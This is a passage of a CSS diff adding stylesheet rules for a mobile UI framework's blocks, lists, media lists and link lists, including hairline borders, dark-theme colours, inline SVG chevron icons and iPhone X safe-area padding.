+.md .block-title + .timeline, +.md .block-title + .block-header { + margin-top: 0px; +} +.md .block-strong { + padding: 16px; +} +.md .block-strong:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .block-strong:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .block-strong:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .block-strong:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .block-strong:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .block-strong:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .block.inset { + margin-left: 16px; + margin-right: 16px; +} +.md .block-strong.inset { + border-radius: 4px; +} +.md .block-header, +.md .block-footer { + padding: 0 16px; + color: rgba(0, 0, 0, 0.54); +} +.md .block .block-header, +.md .block .block-footer { + padding: 0; +} +.md .block-header { + margin-top: 32px; +} +.md .block-header + .list, +.md .block-header + .block, +.md .block-header + .card, +.md .block-header + .timeline { + margin-top: 10px; +} +.md .block-footer { + margin-bottom: 32px; +} +.md .list .block-header, +.md .block .block-header, +.md .card .block-header, +.md .timeline .block-header { + margin-top: 0; +} +.md .list .block-footer, +.md .block .block-footer, +.md .card .block-footer, +.md .timeline .block-footer { + margin-bottom: 0; +} +.md .list + .block-footer, +.md .block + .block-footer, +.md .card + .block-footer, +.md .timeline + .block-footer { + margin-top: -22px; +} +.md .block + .block-footer { + margin-top: -22px; + margin-bottom: 32px; +} +@media (min-width: 768px) { + .md .block.tablet-inset { + margin-left: 16px; + margin-right: 16px; + border-radius: 4px; + } + .md .block-strong.tablet-inset { + border-radius: 4px; + } +} +.md .theme-dark .block-title { + color: #fff; +} +.md .theme-dark .block-header, +.md .theme-dark .block-footer { + color: rgba(255, 255, 255, 0.54); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-left-edge .block-header, + .md.device-iphone-x .ios-edges .block-header, + .md.device-iphone-x .popup .block-header, + .md.device-iphone-x .sheet-modal .block-header, + .md.device-iphone-x .panel-left .block-header, + .md.device-iphone-x .ios-left-edge .block-footer, + .md.device-iphone-x .ios-edges .block-footer, + .md.device-iphone-x .popup .block-footer, + .md.device-iphone-x .sheet-modal .block-footer, + .md.device-iphone-x .panel-left .block-footer { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 0; + } + .md.device-iphone-x .ios-left-edge .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-left-edge .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .block-title:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(16px + constant(safe-area-inset-left)); + margin-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-right-edge .block-header, + .md.device-iphone-x .ios-edges .block-header, + .md.device-iphone-x .popup .block-header, + .md.device-iphone-x .sheet-modal .block-header, + .md.device-iphone-x .panel-right .block-header, + .md.device-iphone-x .ios-right-edge .block-footer, + .md.device-iphone-x .ios-edges .block-footer, + .md.device-iphone-x .popup .block-footer, + .md.device-iphone-x .sheet-modal .block-footer, + .md.device-iphone-x .panel-right .block-footer { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 0; + } + .md.device-iphone-x .ios-right-edge .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-right-edge .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .block-title:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(16px + constant(safe-area-inset-right)); + margin-right: calc(16px + env(safe-area-inset-right)); + } +} +@media (orientation: landscape) and (min-width: 768px) { + .md.device-iphone-x .ios-left-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(16px + constant(safe-area-inset-left)); + margin-left: calc(16px + env(safe-area-inset-left)); + } +} +@media (orientation: landscape) and (min-width: 768px) { + .md.device-iphone-x .ios-right-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(16px + constant(safe-area-inset-right)); + margin-right: calc(16px + env(safe-area-inset-right)); + } +} +/* === List View === */ +.list { + position: relative; + z-index: 1; +} +.list ul { + list-style: none; + margin: 0; + padding: 0; + position: relative; +} +.list ul ul:before { + display: none !important; +} +.list ul ul:after { + display: none !important; +} +.list li { + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.list .item-media { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-flex-wrap: nowrap; + -ms-flex-wrap: nowrap; + flex-wrap: nowrap; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + padding-bottom: 8px; +} +.list .item-inner { + position: relative; + width: 100%; + padding-top: 8px; + padding-bottom: 8px; + min-width: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-self: stretch; + -ms-flex-item-align: stretch; + align-self: stretch; +} +.list .item-title { + min-width: 0; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + white-space: nowrap; + position: relative; + overflow: hidden; + text-overflow: ellipsis; + max-width: 100%; +} +.list .item-after { + white-space: nowrap; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + margin-left: auto; +} +.list .item-link, +.list .list-button { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: background-color; + transition-property: background-color; + display: block; + position: relative; + overflow: hidden; + z-index: 0; +} +.list .item-content { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.list .item-subtitle { + position: relative; + overflow: hidden; + white-space: nowrap; + max-width: 100%; + text-overflow: ellipsis; +} +.list .item-text { + position: relative; + overflow: hidden; + text-overflow: hidden; + -webkit-line-clamp: 2; + -webkit-box-orient: vertical; + display: -webkit-box; +} +.list .item-title-row { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.list .item-title-row .item-after { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; +} +.list .item-row { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.list .item-cell { + display: block; + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; +} +.list li:last-child .list-button:after { + display: none !important; +} +.list li:last-child > .item-inner:after, +.list li:last-child li:last-child > .item-inner:after, +.list li:last-child > .item-content > .item-inner:after, +.list li:last-child li:last-child > .item-content > .item-inner:after, +.list li:last-child > .item-link > .item-content > .item-inner:after, +.list li:last-child li:last-child > .item-link > .item-content > .item-inner:after { + display: none !important; +} +.list.no-hairlines:before, +.list.no-hairlines ul:before, +.md .list.no-hairlines-md:before, +.md .list.no-hairlines-md ul:before, +.ios .list.no-hairlines-ios:before, +.ios .list.no-hairlines-ios ul:before { + display: none !important; +} +.list.no-hairlines:after, +.list.no-hairlines ul:after, +.md .list.no-hairlines-md:after, +.md .list.no-hairlines-md ul:after, +.ios .list.no-hairlines-ios:after, +.ios .list.no-hairlines-ios ul:after { + display: none !important; +} +.list.no-hairline-top:before, +.list.no-hairline-top ul:before, +.md .list.no-hairline-top-md:before, +.md .list.no-hairline-top-md ul:before, +.ios .list.no-hairline-top-ios:before, +.ios .list.no-hairline-top-ios ul:before { + display: none !important; +} +.list.no-hairline-bottom:after, +.list.no-hairline-bottom ul:after, +.md .list.no-hairline-bottom-md:after, +.md .list.no-hairline-bottom-md ul:after, +.ios .list.no-hairline-bottom-ios:after, +.ios .list.no-hairline-bottom-ios ul:after { + display: none !important; +} +.list.no-hairlines-between .item-inner:after, +.md .list.no-hairlines-between-md .item-inner:after, +.ios .list.no-hairlines-between-ios .item-inner:after, +.list.no-hairlines-between .list-button:after, +.md .list.no-hairlines-between-md .list-button:after, +.ios .list.no-hairlines-between-ios .list-button:after, +.list.no-hairlines-between .item-divider:after, +.md .list.no-hairlines-between-md .item-divider:after, +.ios .list.no-hairlines-between-ios .item-divider:after, +.list.no-hairlines-between .list-group-title:after, +.md .list.no-hairlines-between-md .list-group-title:after, +.ios .list.no-hairlines-between-ios .list-group-title:after, +.list.no-hairlines-between .list-group-title:after, +.md .list.no-hairlines-between-md .list-group-title:after, +.ios .list.no-hairlines-between-ios .list-group-title:after { + display: none !important; +} +.list.no-hairlines-between.simple-list li:after, +.md .list.no-hairlines-between-md.simple-list li:after, +.ios .list.no-hairlines-between-ios.simple-list li:after { + display: none !important; +} +.list.no-hairlines-between.links-list a:after, +.md .list.no-hairlines-between-md.links-list a:after, +.ios .list.no-hairlines-between-ios.links-list a:after { + display: none !important; +} +.list.simple-list li { + position: relative; + white-space: nowrap; + text-overflow: ellipsis; + max-width: 100%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; +} +.list.simple-list li:last-child:after { + display: none !important; +} +.list.links-list a { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: background-color; + transition-property: background-color; + display: block; + position: relative; + overflow: hidden; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + white-space: nowrap; + text-overflow: ellipsis; + max-width: 100%; +} +.list.links-list li:last-child a:after { + display: none !important; +} +.media-list .item-inner, +li.media-item .item-inner { + display: block; + -webkit-align-self: stretch; + -ms-flex-item-align: stretch; + align-self: stretch; +} +.media-list .item-link .item-inner, +li.media-item .item-link .item-inner { + background: none; +} +.media-list .item-media, +li.media-item .item-media { + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; +} +.media-list .item-media img, +li.media-item .item-media img { + display: block; +} +.list .item-link .item-inner, +.links-list a, +.media-list .item-link .item-title-row, +li.media-item .item-link .item-title-row, +.media-list.chevron-center .item-link .item-inner, +.media-list .chevron-center .item-link .item-inner, +.media-list .item-link.chevron-center .item-inner, +li.media-item.chevron-center .item-link .item-inner, +li.media-item .chevron-center .item-link .item-inner, +li.media-item .item-link.chevron-center .item-inner { + background-size: 8px 13px; + background-repeat: no-repeat; + background-position: 95% center; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(1.500000%2C%206.500000)%20rotate(-45.000000)%20translate(-1.500000%2C%20-6.500000)%20'%20points%3D'6%2011%206%202%204%202%204%209%20-3%209%20-3%2011%205%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.links-list.no-chevron a, +.no-chevron .links-list a, +.links-list .no-chevron a, +.item-link.no-chevron .item-inner, +.no-chevron .item-link .item-inner, +.media-list.no-chevron .item-link .item-title-row, +.no-chevron .media-list .item-link .item-title-row, +li.media-item .no-chevron .item-title-row, +li.media-item.no-chevron .item-title-row, +.media-list.chevron-center .item-title-row, +.media-list .chevron-center .item-title-row, +li.media-item.chevron-center .item-title-row, +li.media-item .chevron-center .item-title-row { + background-image: none !important; +} +.media-list .item-link .item-inner, +li.media-item .item-link .item-inner { + background-image: none; +} +.media-list .item-link .item-title-row, +li.media-item .item-link .item-title-row { + background-position: right center !important; +} +.list-group ul:after, +.list-group ul:before { + z-index: 25 !important; +} +.list-group + .list-group ul:before { + display: none !important; +} +li.item-divider, +.item-divider, +li.list-group-title { + white-space: nowrap; + position: relative; + max-width: 100%; + text-overflow: ellipsis; + overflow: hidden; + z-index: 15; +} +li.list-group-title { + position: relative; + position: -webkit-sticky; + position: sticky; + top: 0; + margin-top: 0; + z-index: 20; +} +li.list-group-title:before { + display: none !important; +} +.list.inset .block-title { + margin-left: 0; + margin-right: 0; +} +.list.inset ul:before { + display: none !important; +} +.list.inset ul:after { + display: none !important; +} +@media (min-width: 768px) { + .list.tablet-inset .block-title { + margin-left: 0; + margin-right: 0; + } + .list.tablet-inset ul:before { + display: none !important; + } + .list.tablet-inset ul:after { + display: none !important; + } +} +.theme-dark .list .item-link .item-inner, +.list.theme-dark .item-link .item-inner, +.theme-dark .links-list a, +.links-list.theme-dark a, +.theme-dark .media-list .item-link .item-title-row, +.media-list.theme-dark .item-link .item-title-row, +.theme-dark li.media-item .item-link .item-title-row { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(1.500000%2C%206.500000)%20rotate(-45.000000)%20translate(-1.500000%2C%20-6.500000)%20'%20points%3D'6%2011%206%202%204%202%204%209%20-3%209%20-3%2011%205%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.theme-dark .media-list .item-link .item-inner, +.media-list.theme-dark .item-link .item-inner, +.theme-dark li.media-item .item-link .item-inner { + background-image: none; +} +.md .list { + margin: 32px 0; + font-size: 16px; +} +.md .list .item-cell { + width: 100%; + min-width: 0; + margin-left: 16px; +} +.md .list .item-cell:first-child { + margin-left: 0; +} +.md .list .ripple-wave + .item-cell { + margin-left: 0; +} +.md .list ul ul { + padding-left: 56px; +} +.md .list .item-media { + padding-top: 8px; + min-width: 40px; +} +.md .list .item-media i + i, +.md .list .item-media i + img { + margin-left: 8px; +} +.md .list .item-media + .item-inner { + margin-left: 16px; +} +.md .list .item-inner { + min-height: 48px; + padding-right: 16px; +} +.md .list .item-after { + color: #757575; + font-size: 14px; + padding-left: 8px; +} +.md .list .item-link, +.md .list .list-button { + color: inherit; +} +.md .list .item-link .item-inner, +.md .list .list-button .item-inner { + padding-right: 42px; +} +.md .list .item-link.active-state, +.md .list .list-button.active-state { + background-color: rgba(0, 0, 0, 0.1); +} +.md .list .list-button { + padding: 0 16px; + font-size: 16px; + line-height: 48px; +} +.md .list .item-content { + min-height: 48px; + padding-left: 16px; +} +.md .list .item-subtitle { + font-size: 14px; +} +.md .list .item-text { + font-size: 14px; + color: #757575; + line-height: 20px; + max-height: 40px; +} +.md .list .item-header, +.md .list .item-footer { + font-weight: normal; + font-size: 12px; + line-height: 1.2; + white-space: normal; +} +.md .list .item-footer { + color: rgba(0, 0, 0, 0.5); +} +.md .list .item-link.no-chevron .item-inner, +.md .list.no-chevron .item-link .item-inner, +.md .list .no-chevron .item-link .item-inner, +.md .no-chevron .list .item-link .item-inner { + padding-right: 16px; +} +.md .simple-list li:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .simple-list li:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .simple-list li:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .simple-list li { + padding-left: 16px; + padding-right: 16px; + line-height: 48px; + height: 48px; +} +.md .simple-list li:after { + width: auto; + left: 16px; + right: 0; +} +.md .links-list a:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .links-list a:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .links-list a:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .links-list a { + height: 48px; + color: inherit; +} +.md .links-list a.active-state { + background-color: rgba(0, 0, 0, 0.1); +} +.md .links-list a:after { + width: auto; +} +.md .links-list a { + padding-left: 16px; + padding-right: 42px; +} +.md .links-list a:after { + left: 16px; + right: 0; +} +.md .links-list.no-chevron a, +.md .no-chevron .links-list a, +.md .links-list a.no-chevron, +.md .links-list .no-chevron a { + padding-right: 16px; +} +.md .media-list .item-inner, +.md li.media-item .item-inner { + padding-top: 14px; + padding-bottom: 14px; +} +.md .media-list .item-link .item-inner, +.md li.media-item .item-link .item-inner { + padding-right: 16px; +} +.md .media-list .item-link .item-title-row, +.md li.media-item .item-link .item-title-row { + padding-right: 26px; +} +.md .media-list .item-media, +.md li.media-item .item-media { + padding-top: 14px; + padding-bottom: 14px; +} +.md .media-list.chevron-center .item-link .item-inner, +.md .media-list .chevron-center .item-link .item-inner, +.md .media-list .item-link.chevron-center .item-inner, +.md li.media-item.chevron-center .item-link .item-inner, +.md li.media-item .item-link.chevron-center .item-inner, +.md li.media-item .chevron-center .item-link .item-inner { + padding-right: 42px; +} +.md .media-list.no-chevron .item-link .item-title-row, +.md .no-chevron .media-list .item-link .item-title-row, +.md .media-list .no-chevron .item-link .item-title-row, +.md li.media-item.no-chevron .item-link .item-title-row, +.md .no-chevron li.media-item .item-link .item-title-row, +.md .media-list.chevron-center .item-title-row, +.md .media-list .chevron-center .item-title-row, +.md li.media-item.chevron-center .item-title-row, +.md li.media-item .chevron-center .item-title-row { + padding-right: 0 !important; +} +.md .list .item-link .item-inner, +.md .links-list a { + background-position: calc(100% - 16px) center; +} +.md .item-divider, +.md .list-group-title { + padding: 0 16px; + background: #f4f4f4; + color: rgba(0, 0, 0, 0.54); + height: 48px; + line-height: 48px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + font-size: 14px; +} +.md .item-divider:before, +.md .list-group-title:before { + display: none !important; +} +.md .item-divider:after, +.md .list-group-title:after { + display: none !important; +} +.md .list-group-title { + margin-top: 0; +} +.md .list .item-inner:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .list .item-inner:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .list .item-inner:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .list ul:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .list ul:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .list ul:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .list ul:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .list ul:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .list ul:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .list.inset { + margin-left: 16px; + margin-right: 16px; + border-radius: 4px; +} +.md .list.inset ul { + border-radius: 4px; +} +.md .list.inset li:first-child > a { + border-radius: 4px 4px 0 0; +} +.md .list.inset li:last-child > a { + border-radius: 0 0 4px 4px; +} +.md .list.inset li:first-child:last-child > a { + border-radius: 4px; +} +@media (min-width: 768px) { + .md .list.tablet-inset { + margin-left: 16px; + margin-right: 16px; + border-radius: 4px; + } + .md .list.tablet-inset li:first-child > a { + border-radius: 4px 4px 0 0; + } + .md .list.tablet-inset li:last-child > a { + border-radius: 0 0 4px 4px; + } + .md .list.tablet-inset li:first-child:last-child > a { + border-radius: 4px; + } +} +.md li li:last-child .item-inner:after, +.md li:last-child li .item-inner:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +html.device-pixel-ratio-2 .md li li:last-child .item-inner:after, +html.device-pixel-ratio-2 .md li:last-child li .item-inner:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +html.device-pixel-ratio-3 .md li li:last-child .item-inner:after, +html.device-pixel-ratio-3 .md li:last-child li .item-inner:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .md.device-iphone-x .ios-edges 